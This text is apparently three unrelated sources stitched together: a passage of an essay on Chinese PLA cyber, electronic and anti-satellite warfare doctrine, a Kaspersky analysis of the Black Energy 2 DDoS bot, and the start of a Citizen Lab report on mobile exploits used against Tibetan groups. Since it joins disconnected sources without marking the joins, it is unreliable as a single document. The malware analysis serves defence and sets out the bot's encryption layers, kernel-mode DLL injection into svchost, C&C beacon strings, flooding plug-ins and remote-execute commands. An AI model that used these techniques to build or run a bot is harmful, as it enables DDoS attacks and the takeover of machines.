Finally, with respect to “Unrestricted Warfare,” Qiao and Wang proceed to describe “kinder weapons” to which they suggest a tank’s combat capabilities can be hard destroyed with either a missile or cannon, however, a kinder option would be to destroy its optical equipment with a directed energy weapon. Under kinder weapons, he suggests that there are two flavors: “hard destruction” as in an electro-magnetic pulse (EMP), and reversible “soft-strikes” as in computer logic bombs, network viruses, or DDoS attacks. “Both [he claimed] are focused on paralyzing and undermining, not personnel casualties.”
### PLA on Information Operations
Essentially, the “Research on Information Warfare Issues in Our Military” (Wojun Xinxizhan Wenti Yanjiu) is a compilation of some of China’s most prominent Information Operations theories and practices as they apply to the PLA. Its editor, Peng Chencang, pulled from several dozen experts, however, none as prominent or outspoken as then-Major General Dai Qingmin. Dai elaborated on the exploitation of the Battlefield Information Environment (BIE) to gain combat advantage. He goes on to assert that there are three elements that compose the BIE; they are the fields of electromagnetism, computers and their networks, and human society. Dai claimed that it is the electromagnetic field, which he also coined as the “main field,” in which BIE exists. He also asserted that in future combat, China will face an electromagnetic signal space with denser and more complex signals. For example, he lists not only the electromagnetic waves, but also light and sound waves as well. On the topic of computers and their associated networks, Dai believed that on future battlefields there will become a huge reliance on both the information processing and dissemination via Cyberspace; resulting in new types of combat such as “hacker warfare, network warfare, and computer virus warfare.” This all seems very rudimentary, that is until Dai explains how the BIE has its own unique characteristics and capabilities, thereafter mimicking the sentiments of Qiao and Wang’s *Unrestricted Warfare* once again.
In *Unrestricted Warfare* the reader is introduced to the concept of “combination methods” in which an enemy nation could be met with not only cyber-warfare, but also diplomatic, financial, trade, drug, terrorist, ideological, and even ecological warfare. Dai, in his submission echoes these sentiments by overtly bringing in the factor of “domestic combat information systems” (or nationalist Chinese “Hacktivists”) into the fold. Dai claims that within the information era the “fusing and sharing of military and commercial information facilities and technologies [so that] the boundaries between military, non-military, global and BIE will gradually become ambiguous.” Dai describes pieces of China’s possible Course of Action (COA) utilizing what can only be construed again as Chinese nationalists by conducting an “invasion, attack, and damage of enemy classified information networks [using either] opposing military organizations (PLA) or from an unknown hacker with no association to any government.”
Dai, without directly saying either the U.S. or Taiwan, successfully calls out both nations:
> …whether for counter-invasion warfare or unification or the motherland, we will stand our ground in homeland combat. Contrary to the enemy, which will undergo a long mobilization away from home, we have the factor of convenience in utilizing the foundational information facilities… all can be converted for military use in wartime.
Dai expounds on this rhetoric just one year later when he called upon uniting civilian and the PLA under a single common telecom system to meet both peacetime and wartime needs. In Dai’s “Innovating and Developing Views on Information Operations” he defines the “target” as the military information and information systems, and the “principal form[s]” encompassing both EW and CNO. He also emphasized that future operations must be integrated, meaning both military and civilian fighting forces. Finally, Dai lays out ten cyber-stratagems as follows: plant information mines, conduct information reconnaissance, changing network data, releasing information bombs, dumping information garbage, disseminating propaganda, applying information deception, releasing clone information, organizing information defense, and establishing network spy stations.
### PLA in Chinese Periodicals
The PLA Daily and China National Defense News are the only two PLA newspapers designated and written specifically for public consumption. Public distribution of these newspapers began in 1987, with the goal of giving the general public the opportunity to read about PLA affairs in a state-sponsored publication. Since then, this goal has been furthered by the introduction of Internet editions, such as the PLA Daily online edition, which is also available to the Chinese public. In a March 2007 PLA Daily Online article, the former-director of the Chinese PLA Communications Department and current director of the PLA’s Advisory Committee for Informationalization, Major General Dai Qingmin (a known advocate of the pre-emptive cyber-attack to gain the initiative and seize information superiority) was interviewed on both network and national security. During the interview, he revealed the development of computer operating systems that are completely self-dominated and free of intellectual property rights (an open-sourced Linux-style operating system, for example) as well as the development of an internal (military) professional training system relating to the topic of “informationalization.”
Over the past several years, PLA Daily has, along with several other well-read Chinese periodicals, documented the growth and development of their armed forces. For example, since post 9/11, the Hong Kong Journal began an in-depth analysis of the Taiwanese “Hankuang 18” exercises. This 2002 journal emphasized Taiwan’s participation in a computer network warfare training exercise codenamed “Lusheng II.” The PLA General Staff Department quickly directed relevant combat units of the PLA to study and analyze the “Lusheng II” warfare tactics, and to come up with countermeasures as quickly as possible. However, the same article backs current Chinese research and development by reminding their readers of three main points: first, China’s maturing satellite technology with surveillance and future positioning capabilities; second, the establishment of specialized IW units tasked with both developing computer viruses to sabotage enemy computer systems as well as guarding the PLA’s computer systems; and finally, the development of institutions of higher learning with regards to IW, such as the PLA Information Engineering University, which had at the time “developed unique characteristics in… information security… telecommunications engineering… and space information and surveying technology.”
Chinese periodicals have also indicated a vested interest by the PLA in counter-reconnaissance and active surveillance jamming techniques. The first of these deception means, counter-reconnaissance, involves passively applying advanced camouflage techniques coupled with natural environmental conditions to defeat U.S. reconnaissance systems. While this is not a traditional application of PLA cyber-warriors, their efforts signal intent to develop passive asymmetric counter-Cyberspace means. For example, the Jinan Military Region held their region’s Winter Field Training exercise in 2007 where all three armies (20th, 26th, and 54th) held counter-reconnaissance drills against “high-tech reconnaissance means.” The PLA Daily covered the same period, focusing on the 54th Group Army. The 54th carried out innovative, although questionably useful, countermeasures such as roadside dispersals, creating smoke screens, hiding in ravines, and even intermixing with civilian traffic on highways.
During times of war or national emergency, War Zone Headquarters (WZHQ) will be established based primarily on the Military Regions. The WZHQ will have command of all forces in all branches of service in their respective regions. Similar to U.S. military operations, the PLA divides military operations into phases according to terrain, task, or time. Dennis J. Blasko explains in his 2006 *The Chinese Army Today* that WZHQ, beyond traditional military units, may employ local forces (People’s Armed Police), as well as militia augmented by civilian forces (which does not preclude the nationalist cyber-warriors). PLA Daily, in 2007, covered the PLAAF’s enlistment of their militia in the Tangshan Military Subdistrict to assist in camouflaging air defense positions. In this case, the militia also used dubious means to obscure their adversary’s bomb damage assessment, which included fire, lights, smoke, and electronics to “hide or transform the shape of important infrastructures, such as oil depots, power plants, and bridges.”
The second deception means, active surveillance jamming techniques, certainly fall within the domain of Cyberspace. In an interview with Bingqi Zhishi, an “expert” suggested that it was possible to electronically jam the telemetry control signal between ground control and surveillance satellites. Taiwan’s *Taipei Times* reported in 2006 that Chinese have already developed a form of laser dazzling and have used that technique on U.S. military satellites.
On issues of electronic warfare (EW), however, the Chinese research and development has clearly recognized the increasingly greater role that both EW and electronic countermeasures (ECM) play in modern warfare. In the Chengdu Military Region, experiments are still ongoing to test and evaluate the jamming effectiveness from the jamming side. In an article published in the *Dianzi Xinxi Juikang Jishu*, several renowned scientists and scholars challenged the traditional jamming parameters of measuring signal-to-noise interference ratio at the receiver, max transmission range at the transmitter site, detection zone (specifically for radar systems), the suppression coefficient, the discover probability, and the deceit probability. Instead, they propose that this method is only effective in a field test situation and is essentially worthless in a war as “the jamming side cannot possibly obtain these evaluation data on the enemy directly.” The authors, Li Chao and Zhou Jinquan, are research scientists for the Missile Institute of Air Force Engineering University and the Military Academy of the PLA, respectively. So their insight and analysis most closely resembles what one should expect to encounter when facing an informationalized PLA.
The aforementioned periodical also published an article on the “Multi-Signal Jamming Technology in [a] Complex Environment” written by Li Dongxin, a researcher from the National Key Lab of Information Integrated Control in the Chengdu Military Region. In it, Dongxin reviews the two main radar jamming technologies used for PLA ECM: multi-pulse velocity-range decoys and multi-pulsed false target jamming. Either technique is intended to target a pulsed-Doppler radar system’s capability to not only detect target location (bearing, range, and altitude) but also a target’s radial velocity (range-rate). Specifically, Dongxin’s conclusion is that in an increasingly complex multi-signal environment, ECM equipment has no choice but to make fundamental improvements.
Finally, on the topic of direct sequence spread spectrum (DSSS) signals, the same periodical published an article on “DSSS Signal Parameter Estimation” written by Chen Ximing and Huang Shuoyi. In it they admit that both detection and parameter estimations have become a difficult problem, especially as they relate to jamming. Unfortunately, this form of digital communication serves an essential role in both U.S. military (GPS and Galileo) and civilian (CDMA, LRCP, 802.11b, etc.) purposes. DSSS provides secured communications, multi-address communications, and satellite navigation and location. Ximing and Shouyi ultimately assert that one of the key steps in conducting non-cooperative communications (or simply electronic surveillance, ES) is to “obtain signal modulation parameters, code period, chip rate, and carrier wave frequency.”
On the topic of the most recent scandal, the blatant and highly publicized Chinese cyber-spying via zombie U.S. and Chinese servers, also known as GhostNet, China quickly countered through a myriad of publications. First, in the most widely read *China Daily*, military analyst and Beijing-based strategist Song Xiaojun claimed that “this [was] purely another political issue that the West is trying to exaggerate [and] as China grows, some in the West are trying every opportunity to manufacture fears over China’s threat.” Second, in an interview with Professor Zhu Feng, from the School of International Studies in Peking noted that “cyber security has been a global issue… those who see China as an emerging threat again [have] picked the new subject as a weapon.” Finally, in Beijing’s *Global Times* information security expert, Qiu Feng, pointed out that “creating such a huge network and organizing personnel and coordinating attacks in different countries is not an easy matter… This story is full of loopholes. There is insufficient evidence to say that China has such a huge overseas spy network.”
### United States’ Perception of China
The goal of a space shock and awe strike is to deter the enemy, not to provoke the enemy into combat. For this reason, the objectives selected for strike must be few and precise—for example, on important information sources, command and control centers, communications hubs, and other objectives. This will shake the structure of the opponent’s operational system of organization and will create a huge psychological impact on the opponent’s policymakers.
The PRC’s interpretation with respect to what constitutes either an attack or the legitimate use of force is vague at best. In the 2008 Annual Report to Congress on the Military Power of the People’s Republic of China (ARC 2008), we are reminded of China’s history (Korean War, 1950-1953; Indian conflict, 1962; Soviet conflict, 1969; Vietnam, 1973) in which they charge their PLA with either the preemptive or coercive use of force in an effort to advance their own core interests. The ARC 2008 overtly implied that Chinese precedent demonstrates their territorial claims on Taiwan, quoting Chinese Military theory “if any country or organization violates the other country’s sovereignty and territorial integrity, the other side will have the right to ‘fire the first shot’ on the plane of tactics.”
The ARC 2008 goes on to include vague references to China’s “Assassin’s Mace” (shashoujian) Programs in which part of the PLA’s asymmetric warfighting strategy is to use programs designed to give technologically inferior militaries advantages over technologically superior adversaries. Since 1999, the ARC 2008 notes, the term has appeared more frequently in PLA journals. Although not clearly specified in the ARC 2008, China’s “Assassin’s Mace” would likely be a mixture of old and new technologies applied in unique ways, particularly in the context of fighting the United States in a Taiwan conflict.
### U.S. on the Modernization of the PLA with respect to CNO
On CNO, the 2008’s Report to Congress from the U.S.-China Economic and Security Review Commission (USCC 2008) acknowledges the critical vulnerability of the U.S. Government and economy due to our heavy dependence on the Internet. As such, the USCC 2008 presumes that China will likely seek to take advantage of this U.S. reliance due to the following assessments:
1. The costs of Cyberspace operations are low in comparison with traditional espionage or military activities.
2. Determining the origin of cyber-operations and attributing them to the Chinese government or any other operator is difficult; hindering our response.
3. Cyber-attacks can be used to confuse us, the enemy.
4. There is an underdeveloped legal framework to guide responses.
As such, China is very likely to continue pursuing CNO capabilities that may provide them with an asymmetric advantage against the U.S.
As noted by Wang and Qiao in *Unrestricted Warfare*, China’s perception of U.S. success in the first Gulf War led to a growing number of CNO advocates amongst PLA officials. Mark A. Stokes from the Strategic Studies Institute, and former U.S. military attaché in Beijing, wrote back in 1999 on the Chinese enthusiasm and the concurrence that called for the development of weapons systems that can “throw the financial system and army command systems of the hegemonists into chaos.” Stokes goes on to note that technological weapons of this nature provide an asymmetric advantage for an underdeveloped country to use against a nation which is “extremely fragile and vulnerable when it fulfills the process of networking and then relies entirely on electronic computers.” PLA strategists, according to Stokes, have thus increased their emphasis on computer warfare and have expanded to include the feasibility of introducing computer viruses (bingdu) via wireless means. Stokes’ assessment, written at the same time that *Unrestricted Warfare* was published, mimics the sentiments of Wang and Qiao on combined warfare with specificity towards Financial Warfare + Network Warfare.
China’s most recent cyber-snooping escapade painted the PRC into the proverbial corner as the Canadian researcher, Nart Villeneuve, learned about the GhostNet infiltration network through the use of honey-pots. Toronto’s *The Globe and Mail* revealed how Villeneuve’s “honey-pot” computers were taken over. Mysterious entities sought to reveal the honey-pots’ processor speed, memory specifications, geographic information as to its location, ‘My Documents’ files, and finally given an instruction to download a copy of the GhostNet remote-access tool. Villeneuve’s evidence showed that the majority of the “control servers were located in China… [and] the interface to control the infected hosts on these servers in China was in Chinese,” and finally, the “remote Trojan favored by the attackers is a Trojan coded by Chinese hackers.” However, most disturbing of all was neither Chinese servers nor the Chinese-coded Trojans; rather, the high-value targets which include none other than Deloitte & Touche, employer of over 165,000 professionals in 140 countries delivering audit, tax, consulting, and financial advisory services through its member firms. Recalling Qiao and Wang’s suggestion presented in *Unrestricted Warfare* of using a combined warfare, such as network warfare with financial warfare.
### U.S. on the Modernization of the PLA with Respect to EW
Chinese research and development clearly recognizes the greater role that electronic warfare plays on the informationalization of their PLA. U.S. literature also recognizes that Chinese leaders have prompted to accelerate the modernization of their armed forces. For example, the Center for Strategic and International Studies published *Chinese Military Modernization* in 2007, which emphasized the PLA force development and strategic capabilities. As such, there is significant concentration in the development of the PLA’s technological base with emphasis on C4ISR. This statement is supported in the U.S. DoD Annual Estimates of Information Warfare Capabilities and Commitment of the PRC 2002-2009 where the author, Dr. Kabay, highlights the PLA’s objective to seize electromagnetic dominance. He described the combination of electronic warfare, CNO, and lethal strikes as Integrated Network Electronic Warfare (INEW).
### U.S. on the Modernization of the PLA with Respect to ASAT and Space
The ARC 2008 noted that China has developed significant ASAT capabilities that go far beyond those demonstrated by the direct-ascent shoot down of January 2007. They include co-orbital kinetic weapons, directed energy weapons (both of which are still under development) and micro-satellites. China is also developing electronic attack and CNO techniques targeting an adversary’s space assets as well as its ground support networks. Finally, the ARC 2008 believes that the PLA considers “battlefield situational awareness” so critical to modern combat operations that the development of an offensive “Assassin’s Mace” weapon, specifically with space attack capability is required.
In an effort to counter our national interests in space, the PLA has developed multi-dimensional space programs focused on limiting or preventing the use of satellite-based assets by their potential adversaries during times of conflict. Designed to exploit a number of susceptible space assets, their research and development fall into two basic categories of lethal-kill methods: either directed-energy or direct-ascent. Non-lethal methods, however, target one of two specific subcomponents of an adversary’s space collection capabilities: imagery collection, or signals intelligence (SIGINT) collection. The Chinese have even expanded their CNO initiatives to include activities that threaten the DoD’s space control and supporting computer networks, thus posing a significant risk to critical U.S. warfighting systems. Thankfully, U.S. military satellite communications space assets are physically hardened or software protected in an effort to counter such vulnerabilities; unfortunately, however, few of the U.S. military’s commercially-leased systems share this level of hardening. Thus, this brings China’s space capabilities and militarized intentions to a level of U.S. national interest, and the aforementioned threat to our security and prosperity of our nation as a whole.
Although the PRC has never publicly acknowledged a dedicated anti-satellite (ASAT) program, the PLA has been intently interested in building the capacity to deny, degrade, deceive, disrupt, delay, corrupt and even destroy their adversaries’ use of space-based satellite platforms and their associated systems. The research and development to achieve this has been ongoing since the 1960s; likely assisted by Mao Tse Tung’s mid-1950s ABMD rhetoric. Under their anti-ballistic missile defense (ABMD) 640 Program of 1963, the PRC made their first attempts to build a system consisting of a lethal “kill” vehicle, high powered lasers, and a space indications and warnings (I&W) network.
## Direct Ascent and Micro-Satellite ASATs
The offensive capabilities in space should, if necessary, be capable of destroying or temporarily incapacitating all enemy space vehicles that fly in space above our sovereign territory.
— Colonel Li Daguang, PLA, 2001
China’s interpretation of the “peaceful use of space” (as delineated in the Outer Space treaty of 1967) is clearly inconsistent with their development of the PLA space weapons programs. As early as 2001, rhetoric concerning the development of an offensive “Assassin’s Mace” weapon, specifically with space attack capability, began circulating. Colonel Li Daguang makes the particular point that “the offensive capability in space should… be capable of destroying… all enemy space vehicles that fly in space above our sovereign territory.” Later that year the PRC launched the Tsinghua-1, their first 50 kg micro-satellite, revealing the Kaituozhe-1 (KT-1 Space Launch Vehicle (SLV)) solid-fuel rocket and mobile LEO launch vehicle.
The January 2007 test of a direct-ascent ASAT weapon, for example, in which they confirmed the PLA’s ability to destroy satellites operating in a LEO, demonstrated the culmination of years of research and development on their part. The target was an aging Chinese FY-1C weather satellite operating in polar orbit at over 500 miles above the earth. Pentagon officials would later identify the ASAT with the designator “SC-19” and based on the KT-1 SLV. Although this was their third attempt to destroy the same FY-1C satellite, their success confirms they have the capability to compromise the continued operation of many of our LEO ISR platforms used for collection and counterterrorism. Additionally, the debris field formed by said ASAT has the potential to directly compromise the nearly 400 U.S. LEO satellites over the next 20 years.
### Directed Energy, Kinetic Kill Vehicles, and Space Armies
Space armies should set up emergency launch units… in order to guarantee that on the day it receives launch orders it will immediately launch space-based fire platforms into orbit.
— Prof Yuan Selu, PLA NDU, 2005
Significantly more sophisticated than either the direct-ascent or co-orbital microsatellites are the directed-energy ASAT. China currently has a policy of using space peacefully and has argued against the militarization of the space environment. However, they have also demonstrated the capabilities that ground-based and airborne high-powered lasers can damage non-hardened thermal controls, optical sensors, and solar power components on LEO satellites. For example, in September 2006, the Pentagon acknowledged that China had fired a high-powered laser at a U.S. reconnaissance satellite flying over Chinese territory.
The PRC recognizes the U.S. utter dependence on space assets and has bolstered their capabilities above and beyond the direct ascent demonstration of 2007. This will not only potentially enable China to counter our asymmetric space advantage, but also seeks to “guarantee the viability of Chinese nuclear forces in the face of emerging American missile defenses.” Research on beam weapon proposals has been detailed by more than 20 authors since 2005. Labeled as “new concept weapons” (or xin gainian wuqi), directed energy weapons cover the gambit of iterations such as high power lasers, microwaves, and particle beam weapons.
Significantly more subtle and clearly reversible technologies are in the completely non-lethal realm such as jammers used to degrade or disrupt functionality without the resultant debris caused by lethal ASAT weapons. Electronic jamming capabilities of the PLA are divided into both hardware interference and command interference. Hardware jamming includes disrupting the electronic surveillance functionality of the U.S. systems. For example, UHF-band satellite communications jammers acquired in the late 90s from Ukraine give the PLA the indigenous capability to jam common U.S. Army satellite communication bands and GPS receivers. Command jamming, on the other hand, refers to China’s jamming of the remote control and remote sensing systems of U.S. military systems. Research and development in intercepting, decoding, and jamming of the ground command is focused on making the satellite deviate from orbit, tumble, exploit, or simply turn off. Command interference is a cost-effective and potentially non-lethal weapon well within the realm of cyberspace. Targeting satellite terrestrial support infrastructures as well as employing non-contemporary alternatives such as microwaves, particle beams, and electromagnetic pulse weapons, and these future technologies are all just on the PLA’s horizon. While the extents of China’s ASAT capabilities are uncertain, what is clear is that the PLA is intent on obtaining a form of Space Superiority. In our extremely heavy reliance on space-based support systems, especially endemic in future and current technologies such as the Future Combat System Brigade Combat Team (FCS (BCT)), Blue Force Tracker, Global Command and Control System, Naval Tactical Data Systems, Unmanned Aerial Systems, and INMARSAT, are all vulnerable targets.
Concerning PLA space operations, the USCC 2008 determined that the PLA “has sufficient capability to meet many of [their] space goals.” Through new, space-based assets, they have expanded significantly their electronic and signals intelligence capabilities. This contributes greatly to their military’s Command, Control, Communications, Computers, Intelligence, Surveillance, and Reconnaissance (C4ISR) projection capability out to, and including, the southern Pacific Ocean.
Finally, the PLA has been urged to develop space weapons that demonstrate assassin’s mace capabilities. As such, they have pushed for covert implementation of space-based fire networks. This would employ standby emergency astronautic launches that would not directly counter international space law. These mobile launch vehicle weapons would employ both space-based directed and kinetic energy capabilities to counter U.S. LEO network systems. Colonel Yuan Zelu, PLA, proposes a total war option that would guarantee that once their space armies receive launch orders, they will immediately fire their weapon systems into orbit. |
# Black DDoS
**Authors**
Dmitry Tarakanov
Cybercriminals use a variety of bots to conduct DDoS attacks on Internet servers. One of the most popular tools is called Black Energy. To date, Kaspersky Lab has identified and implemented detection for over 4,000 modifications of this malicious program. In mid-2008, malware writers made significant modifications to the original version, creating Black Energy 2 (which Kaspersky Lab detects as Backdoor.Win32.Blakken). This malicious program is the subject of this article.
## Step-by-step: the bot components
The bot has several main functions: it hides the malware code from antivirus products, infects system processes, and offers flexible options for conducting a range of malicious activities on an infected computer when commands are received from the botnet command-and-control (C&C) center. Each task is performed by a different component of the malicious program.
### The protective layer
Like most other malicious programs, Black Energy 2 has a protective layer that hides the malicious payload from antivirus products. This includes encryption and code compression; anti-emulation techniques can also be used. Once the Black Energy 2 executable is launched on a computer, the malicious application allocates virtual memory, copies its decryptor code to the memory allocated, and then passes control to the decryptor.
Execution of the decryptor code results in code with dropper functionality being placed in memory. Once the dropper code is executed, a decryptor driver with a random name, e.g., “EIBCRDZB.SYS”, is created in system32drivers. A service (which also has a random name) associated with the driver is then created and started. Like the original executable, this driver is, in effect, a ‘wrapper’ that hides the most interesting part of the malware.
### The infector
The code of the decryptor driver contains a block of encrypted and packed data. The data block has the following structure:
The key from this block is used to create another key, 100h bytes in size, which is used to decrypt the archive. The encryption is based on the well-known RC4 algorithm. If the archive size is equal to the data size, it means that the data is not packed. However, if the two do not coincide, the encrypted archive has to be unpacked.
The decrypted data is an infector driver which will inject a DLL into the svchost.exe user-mode process. In order to launch the infector driver, the decryptor driver allocates memory, copies the decrypted code to that memory area, remaps address offset fixups, and passes control to it. The malicious DLL is stored in the .bdata section of the infector driver. This data block has the same structure as that described above. The infector driver locates the svchost.exe process and allocates memory in its address space. The malicious DLL is then copied to this memory area and address offsets are remapped according to the relocation table. The injected library’s code is then launched from kernel mode.
This method uses APC queue processing. First, an APC with the address of the DllEntry function for the library injected is initialized, then the APC is queued using KeInsertQueueApc APC. As soon as svchost.exe is ready to process the APC queue (which is almost immediately), a thread from the DllEntry address is launched in its context.
### The injected DLL
The DLL which is injected into svchost.exe is the main controlling factor in launching a DDoS attack from an infected computer. Like the infector driver, the DLL has a .bdata section; this includes a block of encrypted data, which has the same structure as that shown above. The data makes up an XML document that defines the bot’s initial configuration.
The address of the botnet’s C&C is of course the most important information. In this case, two addresses are given for the sake of reliability: if one server is down and the bot is unable to contact it, the bot can attempt to connect to its owner using the backup address.
The bot sends a preformed HTTP request to the C&C address; this is a string containing data which identifies the infected machine. A sample string is shown below:
`id=xCOMPUTERNAME_62CF4DEF&ln=ru&cn=RU&nt=2600&bid=3`
The id parameter, which is the infected machine’s identifier, includes the computer name and the serial number of the hard disk on which the C: drive is located. This is followed by operating system data: system language, OS installation country, and system build number. The build identifier for the bot (‘build_id’ in the initial configuration options XML document) completes the string.
The format of the request string is used as confirmation that the request actually comes from the bot. In addition, the C&C center also uses the user-agent header of the HTTP request as a password of sorts.
If the C&C accepts the request, it responds with a bot configuration file which is also an encrypted XML document. RC4 is also used to encrypt this file, with the infected machine’s identifier serving as a key.
Here is an example of such instructions:
The section tells the bot which modules are available on the owner’s server to set up a DDoS attack. If the bot does not have a particular module or if a newer version is available on the server, the bot will send a plug-in download request to the server, e.g.:
`getp=http&id=xCOMPUTERNAME_62CF4DEF&ln=ru&cn=RU&nt=2600&bid=3`
A plug-in is a DLL library, which is sent to the bot in an encrypted form. If the key used to encrypt a plugin differs from the value of the id parameter, it will be specified in the field of the configuration file. Once the plug-in DLL has been received and decrypted, it will be placed in the memory area allocated. It is then ready to begin a DDoS attack as soon as the appropriate command is received.
Plug-ins will be regularly downloaded to infected machines: as soon as the malware writer updates their attack methods, the Black Energy 2 bot will download the latest version of the relevant plugin.
The downloaded plug-ins are saved to the infected computer’s hard drive as str.sys in system32drivers. Str.sys is encrypted, with the id parameter being used as the key. Prior to encryption, the str.sys data looks like this:
Each plug-in has an exported function, DispatchCommand, which is called by the main module – the DLL injected into the svchost.exe process. A parameter (one of the commands from the section in the bot configuration file) is passed to the DispatchCommand function. The plug-in then executes the command.
### The main plug-ins
The main plug-ins for Black Energy 2 are ddos, syn, and http. A brief description of each is given below.
#### The ddos plug-in
The server address, protocol, and port to be used in an attack are the input for the ddos plug-in. The plug-in initiates mass connections to the server, using the port and protocol specified. Once a connection is established, a random data packet is sent to the server. The following protocols are supported: tcp, udp, icmp, and http.
Below is an example of a “ddos_start udp 80” command being carried out:
When the http protocol is specified in the command, the ddos plugin uses the socket, connect, and send functions to send a GET request to the server.
#### The syn plug-in
Unlike the other plug-ins described in this article, the syn plugin includes a network driver. When the plugin’s DllEntry function is called, the driver is installed to system32drivers folder as synsenddrv.sys. The driver sends all the network packets. The DispatchCommand function waits for the main DLL to send it the following parameter: “syn_start” or “syn_stop”. If the former parameter is received, the plugin begins an attack; if the latter is received, the attack is stopped. An attack in this case consists of numerous connection requests being made to the server, followed by so-called ‘handshakes’, i.e., the opening of network sessions.
Naturally, if numerous requests are made from a large number of infected computers, this creates a noticeable load on the server.
#### The http plug-in
The DDoS attack methods described above are often combated by using redirects: a server with online resources is hidden behind a gateway that is visible to the outside world, with the gateway redirecting requests to the server hosting the resources. The gateway can use a variety of techniques to fend off DDoS attacks, and taking it down is not easy. Since the ddos and syn plugins target IP addresses and have no features which allow them to recognize traffic redirects, they can only attack the gateway. Hence, the network flooding that they generate simply does not reach the server hosting Internet resources. This is where the http plugin comes in.
Having received the http_start command, the http plugin creates a COM object named “Internet Explorer(Ver 1.0)” with an IWebBrowser2 interface. The Navigate method is called by the http_start command with the parameter, resulting in the Internet Explorer(Ver 1.0) object navigating to the URL specified. The Busy method is then used by the malicious program which waits until the request is completed.
Using these steps, the malicious program imitates an ordinary user visiting a particular page. The only difference is that, unlike a user, the malicious program makes many ‘visits’ to the same address within a short period of time. Even if a redirecting gateway is used, the http request is redirected to the protected server hosting web resources, thus creating a significant load on the server.
### General commands
In addition to downloading plug-ins and executing plug-in commands, Black Energy 2 ‘understands’ a number of general commands that can be sent by the C&C server:
- `rexec` – download and execute a remote file;
- `lexec` – execute a local file on the infected computer;
- `die` – terminate bot execution;
- `upd` – update the bot;
- `setfreq` – set the frequency with which the bot will contact the C&C server;
- `http` – send HTTP request to the specified web page.
## Conclusion
Initially, the Black Energy bot was created with the aim of conducting DDoS attacks, but with the implementation of plugins in the bot’s second version, the potential of this malware family has become virtually unlimited. However, so far cybercriminals have mostly used it as a DDoS tool. Plugins can be installed, e.g., to send spam, grab user credentials, set up a proxy server, etc. The `upd` command can be used to update the bot, e.g., with a version that has been encrypted using a different encryption method. Regular updates make it possible for the bot to evade a number of antivirus products, any of which might be installed on the infected computer, for a long time.
This malicious tool has high potential, which naturally makes it quite a threat. Luckily, since there are no publicly available constructors online which can be used to build Black Energy 2 bots, there are fewer variants of this malware than, say, ZeuS or the first version of Black Energy. However, the data we have shows that cybercriminals have already used Black Energy 2 to construct large botnets, and these have already been involved in successful DDoS attacks.
It is difficult to predict how botnet masters will use their botnets in the future. It’s not hard for malware writers to create a plug-in and get it downloaded to infected user machines. Furthermore, any plug-in code is only present in an infected computer’s memory; in all other instances, the malicious modules are encrypted, whether this is during transmission or when stored on a hard drive.
In addition, Black Energy 2 plugins are not executable (.exe) files. Plugins are loaded directly onto an infected machine, which means that they will not be distributed using mass propagation techniques, and antivirus vendors may not come across new plugins for extended periods of time. However, it is the plug-ins that ultimately meet the cybercriminals’ goal, i.e., delivering the malicious payload which is the ultimate aim of infecting victim machines with the Black Energy 2 bot.
Consequently, it’s essential to track the plug-ins. Kaspersky Lab monitors which Black Energy 2 plugins are available for download to track the evolution of this malicious program. We’ll keep you posted. |
# Missing Link: Tibetan Groups Targeted with 1-Click Mobile Exploits
**September 24, 2019**
**Research**
**By Bill Marczak, Adam Hulcoop, Etienne Maynier, Bahr Abdul Razzak, Masashi Crete-Nishihata, John Scott-Railton, and Ron Deibert**
## Key Findings
Between November 2018 and May 2019, senior members of Tibetan groups received malicious links in individually tailored WhatsApp text exchanges with operators posing as NGO workers, journalists, and other fake personas. The links led to code designed to exploit web browser vulnerabilities to install spyware on iOS and Android devices, and in some cases to OAuth phishing pages. This campaign was carried out by what appears to be a single operator that we call POISON CARP.
We observed POISON CARP employing a total of eight Android browser exploits and one Android spyware kit, as well as one iOS exploit chain and iOS spyware. None of the exploits that we observed were zero days. POISON CARP overlaps with two recently reported campaigns against the Uyghur community. The iOS exploit and spyware we observed was used in watering hole attacks reported by Google Project Zero, and a website used to serve exploits by POISON CARP was also observed in a campaign called “Evil Eye” reported by Volexity. The Android malware used in the campaign is a fully featured spyware kit that has not been previously documented.
POISON CARP appears to have used Android browser exploits from a variety of sources. In one case, POISON CARP used a working exploit publicly released by Exodus Intelligence for a Google Chrome bug that was fixed in source, but whose patch had not yet been distributed to Chrome users. In other cases, POISON CARP used lightly modified versions of Chrome exploit code published on the personal GitHub pages of a member of Qihoo 360’s Vulcan Team, a member of Tencent’s Xuanwu Lab, and by a Google Project Zero member on the Chrome Bug Tracker.
This campaign is the first documented case of one-click mobile exploits used to target Tibetan groups, and reflects an escalation in the sophistication of digital espionage threats targeting the community.
## Summary
The Tibetan community has been besieged by digital espionage for over a decade. In 2009, the Information Warfare Monitor published the report *Tracking GhostNet*, detailing a targeted malware operation that spied on Tibetan organisations including the Private Office of His Holiness the Dalai Lama in Dharamsala, India, as well as government offices in 103 countries. At the time there were very few public reports of targeted malware campaigns and limited documentation of how these threats affected civil society.
Over the past ten years, the tactics used in GhostNet have become familiar to Tibetans: emails laden with older exploits used to deliver custom malware to unpatched computers. Typically, the malware used in these operations target Windows systems, with some rare incidents of malware targeting MacOS and Android. A common thread between these espionage campaigns is a focus on clever social engineering rather than the technical sophistication of exploits or malware.
While these patterns are common, we have observed shifts in tactics seemingly tied to changes in the defensive posture of the community. Historically, malware sent as email attachments was the most common threat Tibetan groups experienced. In response, groups in the community promoted a user awareness campaign that advised the use of cloud platforms, such as Google Drive or DropBox, to share documents as an alternative to email attachments. Gradually, we observed a drop in malware campaigns against Tibetan groups and a rise in credential phishing, suggesting that operators were changing their tactics in response. Recently, we have also observed campaigns using malicious OAuth applications, potentially in an effort to bypass users who are using two-factor authentication on their Google accounts. These changes demonstrate an inherent asymmetry between the digital defenses of Tibetan groups and the capabilities of the operators who target them: changing the behaviour of a community is a slow and gradual process, while an adversary can evolve overnight.
To address these challenges, Tibetan groups have recently formed the Tibetan Computer Emergency Readiness Team (TibCERT), a coalition between Tibetan organisations to improve digital security through incident response collaboration and data sharing. In November 2018, TibCERT was notified of suspicious WhatsApp messages sent to senior members of Tibetan groups. With the consent of the targeted groups, TibCERT shared samples of these messages with Citizen Lab. Our analysis found that the messages included links designed to exploit and install spyware on iPhone and Android devices. The campaign appears to be carried out by a single operator that we call POISON CARP. The campaign is the first documented case of one-click mobile exploits used to target Tibetan groups. It represents a significant escalation in social engineering tactics and technical sophistication compared to what we typically have observed being used against the Tibetan community.
